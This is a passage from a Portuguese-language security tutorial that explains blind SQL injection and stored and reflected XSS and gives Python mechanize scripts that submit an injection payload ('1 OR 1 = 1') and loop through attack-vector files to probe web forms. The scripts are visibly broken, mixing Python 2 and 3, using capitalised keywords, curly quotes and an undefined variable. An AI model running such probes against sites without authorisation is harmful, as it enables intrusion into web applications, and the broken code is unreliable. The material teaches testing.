  • Boolean-based blind SQLi - Esse tipo de técnica se baseia no envio de uma consulta SQL ao banco de dados, o que força o aplicativo a retornar um resultado diferente, dependendo se a consulta retorna um resultado VERDADEIRO ou FALSO.

  • Time-based blind SQLi- Esse tipo de técnica se baseia no envio de uma consulta SQL ao banco de dados, o que força o banco de dados a aguardar um determinado período de tempo (em segundos) antes de responder. O tempo de resposta indicará ao invasor se o resultado da consulta é VERDADEIRO ou FALSO.

Exemplo

Todos os tipos de SQLi podem ser implementados pela manipulação de dados de entrada para o aplicativo. Nos exemplos a seguir, estamos escrevendo um script Python para injetar vetores de ataque no aplicativo e analisar a saída para verificar a possibilidade do ataque. Aqui, vamos usar o módulo python chamadomechanize, que dá a facilidade de obter formulários da web em uma página da web e também facilita o envio de valores de entrada. Também usamos este módulo para validação do lado do cliente.

O seguinte script Python ajuda a enviar formulários e analisar a resposta usando mechanize -

Em primeiro lugar, precisamos importar o mechanize módulo.

import mechanize

Agora, forneça o nome do URL para obter a resposta após o envio do formulário.

url = input("Enter the full url")

A seguinte linha de códigos abrirá o url.

request = mechanize.Browser()
request.open(url)

Agora, precisamos selecionar o formulário.

request.select_form(nr = 0)

Aqui, definiremos o nome da coluna 'id'.

request["id"] = "1 OR 1 = 1"

Agora, precisamos enviar o formulário.

response = request.submit()
content = response.read()
print content

O script acima imprimirá a resposta para a solicitação POST. Enviamos um vetor de ataque para quebrar a consulta SQL e imprimir todos os dados da tabela em vez de uma linha. Todos os vetores de ataque serão salvos em um arquivo de texto, digamos, vetores.txt. Agora, o script Python fornecido a seguir obterá esses vetores de ataque do arquivo e os enviará ao servidor um por um. Ele também salvará a saída em um arquivo.

Para começar, vamos importar o módulo mecanizar.

import mechanize

Agora, forneça o nome do URL para obter a resposta após o envio do formulário.

url = input("Enter the full url")
   attack_no = 1

Precisamos ler os vetores de ataque do arquivo.

With open (‘vectors.txt’) as v:

Agora vamos enviar pedido com cada vetor arrack

For line in v:
   browser.open(url)
   browser.select_form(nr = 0)
   browser[“id”] = line
   res = browser.submit()
content = res.read()

Agora, a linha de código a seguir gravará a resposta no arquivo de saída.

output = open(‘response/’ + str(attack_no) + ’.txt’, ’w’)
output.write(content)
output.close()
print attack_no
attack_no += 1

Ao verificar e analisar as respostas, podemos identificar os possíveis ataques. Por exemplo, se ele fornece a resposta que inclui a fraseYou have an error in your SQL syntax então isso significa que o formulário pode ser afetado pela injeção de SQL.

Ataques de script entre sites são um tipo de injeção que também se refere ao ataque de injeção de código do lado do cliente. Aqui, códigos maliciosos são injetados em um site legítimo. O conceito de Same Origin Policy (SOP) é ​​muito útil para entender o conceito de Cross-site scripting. SOP é o princípio de segurança mais importante em todos os navegadores da web. Ele proíbe sites de recuperar conteúdo de páginas com outra origem. Por exemplo, a página da web www.tutorialspoint.com/index.html pode acessar o conteúdo dewww.tutorialspoint.com/contact.htmlmas www.virus.com/index.html não pode acessar o conteúdo dewww.tutorialspoint.com/contact.html. Desta forma, podemos dizer que o cross-site scripting é uma forma de contornar a política de segurança SOP.

Tipos de ataque XSS

Nesta seção, vamos aprender sobre os diferentes tipos de ataque XSS. O ataque pode ser classificado nas seguintes categorias principais -

  • XSS persistente ou armazenado
  • XSS não persistente ou refletido

XSS persistente ou armazenado

Nesse tipo de ataque XSS, um invasor injeta um script, conhecido como carga útil, que é armazenado permanentemente no aplicativo da Web de destino, por exemplo, em um banco de dados. Esta é a razão, é chamado de ataque XSS persistente. Na verdade, é o tipo de ataque XSS mais prejudicial. Por exemplo, um código malicioso é inserido por um invasor no campo de comentário de um blog ou na postagem do fórum.

XSS não persistente ou refletido

É o tipo mais comum de ataque XSS em que a carga útil do invasor deve fazer parte da solicitação, que é enviada ao servidor da web e refletida de volta de forma que a resposta HTTP inclua a carga útil da solicitação HTTP. É um ataque não persistente porque o invasor precisa entregar a carga útil para cada vítima. O exemplo mais comum desse tipo de ataque XSS são os e-mails de phishing com a ajuda dos quais o atacante atrai a vítima para fazer uma solicitação ao servidor que contém as cargas XSS e acaba executando o script que é refletido e executado dentro do navegador .

Exemplo

Da mesma forma que o SQLi, os ataques XSS da web podem ser implementados pela manipulação de dados de entrada para o aplicativo. Nos exemplos a seguir, estamos modificando os vetores de ataque SQLi, feitos na seção anterior, para testar o ataque XSS da Web. O script Python fornecido abaixo ajuda a analisar o ataque XSS usandomechanize -

Para começar, vamos importar o mechanize módulo.

import mechanize

Agora, forneça o nome do URL para obter a resposta após o envio do formulário.

url = input("Enter the full url")
   attack_no = 1

Precisamos ler os vetores de ataque do arquivo.

With open (‘vectors_XSS.txt’) as x:

Agora vamos enviar a solicitação com cada vetor arrack -

For line in x:
   browser.open(url)
browser.select_form(nr = 0)
   browser[“id”] = line
   res = browser.submit()
content = res.read()

A linha de código a seguir verificará o vetor de ataque impresso.

if content.find(line) > 0:
print(“Possible XSS”)

A linha de código a seguir escreverá a resposta no arquivo de saída.

output = open(‘response/’ + str(attack_no) + ’.txt’, ’w’)
output.write(content)
output.close()
print attack_no
attack_no += 1

O XSS ocorre quando uma entrada do usuário é impressa na resposta sem qualquer validação. Portanto, para verificar a possibilidade de um ataque XSS, podemos verificar o texto de resposta do vetor de ataque que fornecemos. Se o vetor de ataque estiver presente na resposta sem qualquer escape ou validação, há uma grande possibilidade de ataque XSS.